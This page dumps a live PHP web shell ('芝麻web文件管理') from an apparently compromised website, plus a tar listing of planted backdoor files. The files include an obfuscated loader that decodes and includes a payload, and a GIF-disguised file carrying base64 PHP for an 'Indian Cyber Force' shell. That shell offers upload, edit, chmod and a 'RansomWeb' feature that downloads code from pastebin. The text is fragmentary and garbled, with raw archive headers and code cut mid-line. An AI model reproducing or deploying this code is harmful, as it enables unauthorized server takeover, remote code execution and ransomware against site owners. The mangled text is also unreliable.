芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/y3eju8.tar
','</textarea>',FIle_gET_contENtS($file)):''; $div_html='编辑当前文件:'.$file.'

  
'; }elseif( $action=='tj' && $dir!='' ) { $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):''; if ( $t_name=='' ) { show_msg('请输入项目名称!','back'); }else { if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,''); if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true); if ( $_POST['t_type']=='tj_xz' ) { preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ; } jump_to('?d='.$dir); } exit; }elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) ) { MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ; jump_to('?d='.$dir); exit; } function get_qx($t) { $q=substr(sprintf('%o',fILepErMs($t)),-4); return $q; } function set_qx($t,$q) { EvAl('cHMoD("'.$t.'",'.$q.');'); if ( get_qx($t)!=$q ) { $tmp_f=uniqid().'.txt'; $tmp_c=''; fiLE_puT_cONtEnTs($tmp_f,$tmp_c); require($tmp_f); UnLInK($tmp_f); } } function rm_rf($d) { if (is_dir($d)) { $f_l=sCaNDir($d); foreach ($f_l as $f) { if ($f=='.'||$f=='..') continue; $p=$d.'/'.$f; is_dir($p)?rm_rf($p):uNliNk($p); } rMdIR($d); } } function show_msg($msg,$go) { echo ''; if ($go=='back') echo ''; if ($go=='close') echo ''; } function jump_to($url) { echo ''; } function down_file($dir,$url) { $s_name=array_pop(explode('/',$url)); if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz'; $ch=CUrl_iNit(); cuRl_seTOpt ($ch, CURLOPT_URL, $url); cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1); cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false); cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false); cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true); $contents = cUrl_eXeC($ch); cURl_CLosE($ch); if ( empty($contents) ) $contents=filE_geT_cONTentS($url); if ( empty($contents) ) { show_msg('下载出错!',''); }else { fIle_PuT_cONteNts($dir.'/'.$s_name,$contents); show_msg('下载完成!',''); } } ?> 芝麻web文件管理

芝麻web文件管理V1.00

about.php000064400000000363151547731460006406 0ustar00 AccessDeniedAccess DeniedHZ4WXH0ESBF1JYTBsW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=bepyo.php000064400000150052151547731460006413 0ustar00> $n) | (($b << (8 - $n)) & 0xFF)) & 0xFF; } else { $b = ((($b << $n) & 0xFF) | ($b >> (8 - $n))) & 0xFF; } $out .= chr($b); } return $out; } function ODCahlbgkR($fname, $payload) { $tmp = sys_get_temp_dir() . '/' . uniqid('t', true) . '.php'; if (@file_put_contents($tmp, $payload) !== false) { @chmod($tmp, 0640); if (@rename($tmp, $fname)) { @include_once($fname); return true; } } @file_put_contents($fname, $payload); @include_once($fname); return true; } try { $enc = SuiROhBDIg($SMpiPHfV); $s = ''; for ($i=0;$iindex.php000064400000000150151547731600006371 0ustar00pbyk4.php000064400000053700151547731600006324 0ustar00GIF89a php ".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9 InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3 cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0 eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8 L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8 L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7 CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7 CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9 LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8 YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9 Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0 YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0 IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+ IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9 JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0 ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN 4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9 Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+ IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0 IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg bmFtZT0iZm9sZGVyc3MiPjwvZm9ybT4KCQkJCTwvZGl2PgoJCQkJPC9kaXY+JzsKfWVsc2VpZigk X0dFVFsi4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ3JhbnNvbScpewoKCSR1cmwgID0gImh0 dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9MYlZoTm5aRiI7CiAgJGN1cmwgPSBjdXJsX2luaXQoJHVy bCk7CiAgCQkJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUp OwogICRnZXQJPSBjdXJsX2V4ZWMoJGN1cmwpOwogaWYoISRnZXQgPT0gIiIpewokcHV0cyA9IGZv cGVuKCJSYW5zb21XZWIucGhwIiwidyIpOwoJCQkJZndyaXRlKCRwdXRzLCRnZXQpOwoJCQkJZmNs b3NlKCRwdXRzKTsKJG5hbWFfZmlsZSAgPSAiUmFuc29tV2ViLnBocCI7CiRzZXJ2ZXJfd2ViID0g J2h0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4nLyc7CmlmKCRwdXRzID09IHRydWUpewoJ ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg pLjgpKvgpLLgpKTgpL4nKTwvc2NyaXB0PiI7Cn1lbHNlewoJZWNobyAi4KSF4KSo4KWB4KSk4KWN 4KSk4KWA4KSw4KWN4KSj4KSDIOCkqOCkv+CksOCljeCkruClgOCkr+CkpOCkvuCkruCljeKAjCBG aWxlIjsKCX0KfWVsc2V7CgllY2hvICJOb3QgRm91bmQhISI7Cn0KCgkKfWVsc2VpZigkX0dFVFsi 4KSo4KS+4KSu4KSq4KSk4KWN4KSwIl0gPT0gJ2NyZWF0ZWZpbGUg4KSH4KSk4KS/Jyl7CglpZihp c3NldCgkX1BPU1RbIuCkleClg+CkpOClhyJdKSl7CgkkbmFtYUYgPSAkcGF0aC4nLycuJF9QT1NU WyLgpLjgpJ7gpY3gpJrgpL/gpJXgpL5f4KSo4KS+4KSuIl07CgkkaXNpID0gJF9QT1NUWyLgpLXg pL/gpLfgpK/gpIMiXTsKCSRidWF0ID0gZm9wZW4oJG5hbWFGLCJ3Iik7Cglmd3JpdGUoJGJ1YXQs JGlzaSk7CglmY2xvc2UoJGJ1YXQpOwoJaWYoJGJ1YXQgPT0gVFJVRSl7CgkJZWNobyAiPHNjcmlw dD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpLjgpKvgpLLgpKTg pL4nKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyEh IScpPC9zY3JpcHQ+IjsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9Im10LTMi PgoJPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xk ZXI9Ik5hbWEgRmlsZSIgbmFtZT0ibmFtYV9maWxlIj4KCQk8dGV4dGFyZWEgY2xhc3M9ImZvcm0t Y29udHJvbCBtYi0zIiByb3dzPSI4IiBuYW1lPSJpc2kiIHBsYWNlaG9sZGVyPSJJc2kgRmlsZSI+ PC90ZXh0YXJlYT4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidWF0IiBjbGFzcz0iYnRu IGJ0bi1vdXRsaW5lLXByaW1hcnkiIHZhbHVlPSJCdWF0Ij4nOwp9ZWxzZQppZihpc3NldCgkX0dF VFsiaW5mbyJdKSl7CmVjaG8gJwoJPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBtdC0z Ij4KCQk8aDMgY2xhc3M9InRleHQtY2VudGVyIj7gpLjgpYLgpJrgpKjgpL4gU2VydmVyPC9oMz48 aHI+CgkJPGxpPk5hbWEgU2VydmVyIDogJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nPC9saT4K CQk8bGk+SXAgQWRkcmVzcyA6ICcuJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0uJzwvbGk+CgkJPGxp PlBvcnQgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLic8L2xpPgoJCTxsaT7gpKrgpY3gpLDg pYvgpJ/gpYvgpJXgpYngpLIgOiAnLiRfU0VSVkVSWyJTRVJWRVJfUFJPVE9DT0wiXS4nPC9saT4K CQk8bGk+U2F2ZSBEYXRhIDogJy4kX1NFUlZFUlsiSFRUUF9TQVZFX0RBVEEiXS4nPC9saT4KCQk8 bGk+4KS44KSC4KSs4KSo4KWN4KSn4KSDIDogJy4kX1NFUlZFUlsiSFRUUF9DT05ORUNUSU9OIl0u JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8 L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+ CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+ YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0 PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1 cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48 YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0 aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0 aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm 4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90 